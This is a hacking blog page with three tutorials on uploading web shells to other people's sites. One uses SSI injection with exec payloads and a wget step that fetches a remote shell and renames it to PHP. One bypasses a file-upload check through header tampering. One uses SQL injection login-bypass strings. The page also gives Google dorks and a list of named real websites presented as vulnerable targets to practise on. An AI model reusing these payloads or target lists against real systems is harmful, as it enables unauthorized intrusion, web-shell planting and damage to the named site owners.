Upload a shell via SSI injection







Things you will need:

1) Site vulnerable to SSI injection (I will be giving few dorks and few vulnerable sites to practice on)

2) Common sense.
What is SSI?

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.

Description Taken From: http://nightcode.weebly.com/ssi-injection.html
Chapter I - Finding a vulnerable site

I will provide few dorks for this type of injection.
Best dork i found is


Code:
inurl:bin/Cklb/


but it gave about 863 results so not that usable.

Lets get to work shall we ;)

Enter
Code:
 inurl:bin/Cklb/

in Google and go testing.
Chapter II - Testing a site
So when you used that dork and you opened one site now you must determine id the site is vulnerable to this type of injection.

Here are some command you can use:
Credits: Stewie™
Code:
[/I]
[I]<!--#echo var="DATE_LOCAL" -->[/I]
[I]Will display the Date[/I]

[I]<!--#exec cmd="whoami"-->[/I]
[I]Will show which user is running on the server[/I]

[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)[/I]
[I]Will display all files in the directory[/I]

[I]<!-- #exec cmd="dir" --> (Windows)[/I]
[I]Will display all files in the directory[/I]
[I]


Note: You will need to use the <pre></pre> tags to have some commands executed.

Now take one of the commands and insert it in search boxes or login fields.
Mostly login fields are vulnerable but there is some cases when search boxes are vulnerable.

NOTE: You most enter your command into both fields (If login are vulnerable!!)

I have my site for example:

Code:
[/I]
[I]http://dev.stockphotosamerica.com/bin/Cklb

PLEASE BE REASONABLE TO THIS SITE.
DO NOT RAPE IT!

And when insert any command:
Code:
[/I]
[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>


[IMG]

[IMG]

Now we see that our command successfully executed and that our site is vulnerable....
Chapter III - Spawning a shell
So we have our vulnerable site and we are ready to upload a shell.
First of all you will need a .TXT of your favourite shell (Host it somewhere free hosting,hacked site or anything you got)

Now we must download it to our site like this:
Code:
[/I]
[I]<!--#exec cmd="wget http://website.com/dir/shell.txt" -->


So insert your site where your shell is hosted in the command and you are ready to go.

Now just paste it into the fields and press Login or Enter. 

[IMG]

To see if your .TXT file downloaded execute the command we used before:
Code:
[/I]
[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>


[IMG]

If you see that it downloaded successfully now you must rename it from .txt to .php!
You can use this command
Code:
[/I]
[I]<!--#exec cmd="mv shell.txt shell.php" -->


You rename filenames what ever you need (Offcourse you will need to put your .TXT name first.)

My command:
Code:
[/I]
[I]<!--#exec cmd="mv config1.txt config.php" -->


Now again list the files and try to find your file now.
If you did now just access it.

[IMG]

[IMG]

[IMG]

That would be end of this tutorial.
I hope you learned something and do not rape sites with this 
(Be smart and use them)

Dorks
Credits: Stewie™

Code:
[/I]
[I]inurl:bin/Cklb/ - Best Dork
inurl:login.shtml[/I]
[I]inurl:login.shtm[/I]
[I]inurl:login.stm[/I]
[I]inurl:search.shtml[/I]
[I]inurl:search.shtm[/I]
[I]inurl:search.stm[/I]
[I]inurl:forgot.shtml[/I]
[I]inurl:forgot.shtm[/I]
[I]inurl:forgot.stm[/I]
[I]inurl:register.shtml[/I]
[I]inurl:register.shtm[/I]
[I]inurl:register.stm[/I]
[I]inurl:login.shtml?page=


Vulnerable site to practice on:
Credits: Dan

Code:
[/I][/LEFT]
[LEFT][I]http://www.glasshouseimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.wppionlinecontest.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.cgibackgrounds.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.getstock.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.estostock.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.blendimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.pdnthelook.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://iloveimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.win-initiative.com/user/login.shtml (view source to see output)[/I][/LEFT]
[LEFT][I]http://thegatheringsphotocontest.com/user/login.shtml[/I][/LEFT]
[I]


To get a shell up, just wget the shellcode and make the output something such as "shell.txt".

Code:
[/I][/LEFT]
[LEFT][I]http://www.cgibackgrounds.com/Dan.txt



Read More Add your Comment 0 comments


How To Upload Shell By Live Http Headers




Requirements:-
  • Mozilla Firox
  • Live HTTP Headers Add On for Firefox
  • A shell
So now lets begin,
  • Login to that site as a admin, then find a place to upload a file in that particular site.
  • Then rename your shell name to shell.php.jpg (or what ever that site supports. In my case, site supports only jpg file. Thats why i renamed it to shell.php.jpg.)
  • Then start your Live HTTP Headers addon, after that upload your shell.
  • Then your Live HTTP Headers will look something similar to this

    [IMG]
  • Then click on the shell.php.jpg, after click on Reply button.
  • Then again a new window will open, in that window there will be two boxes, but we have to work on second box.
  • In the second box, rename your shell.php.jpg to shell.php, then again click on Reply button.

    [IMG]
Now you have successfully done, only thing you have to do is to find the shell path.


Read More Add your Comment 0 comments


Shell Uploading With SQL Injection



So Let's Start with simple Instructions.

What we Need Simple or Advance sql injection vulnerable Website eg.www.example.com/admin/adminlogin.asp

So Let's start With Tutourial.

1.We need to find Sql vulnerable website.
Like using your smartsense and playing with Google.
That is called google hacking
so how to use google hacking. Everyone Know about google dorks.
So use simple google dorks.
eg. inurl:adminlogin.asp or php or aspx
inurl:admin/adminlogin.aspx or php or asp


[Image: sql1.png]

You Can find these dorks On google Type "GHDB"
(google Hacking Database)

2.After you finding a website then you want to hack it or gain admin access So how to do it.
Here is same thing your smartsense.
First of fall use simple thing 
Username:admin
password:admin

if it is not working then use sql queries that is in simple codes.
That sql queries is used by database like 'or''='
0=0 if 0/=0 then 1=1 
something like that.
username:admin
password:'or''='
[/color]
So here Is some sql Queries that is maily used.
'or''='
' or'1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

3.Now after that you have Admin Access.
After entering in Website You Want to find like gallery links or something that is add category like that.

[Image: sql3.png]

4.So Find the option of upload.
5.Select file. Select your shell here then upload it.
Everything is done now you want to find it.

Go to Website eg.www.example.com

[Image: sql6.png]

find your category or gallery link open it in gallery there is images showing.


Enjoy The Shell uploading. And do anything with Website what you Want..
Thanks for reading..


Read More Add your Comment 0 comments


 

WhoIsAmoungUS

Trace

Copy Restrict

About Me

Scroll Button

Popular Posts

Counter

© 2014 Hacking-The Art of Exploitation All Rights Reserved Vishal S Sangwa A Ethical Hacker White Hat Hacker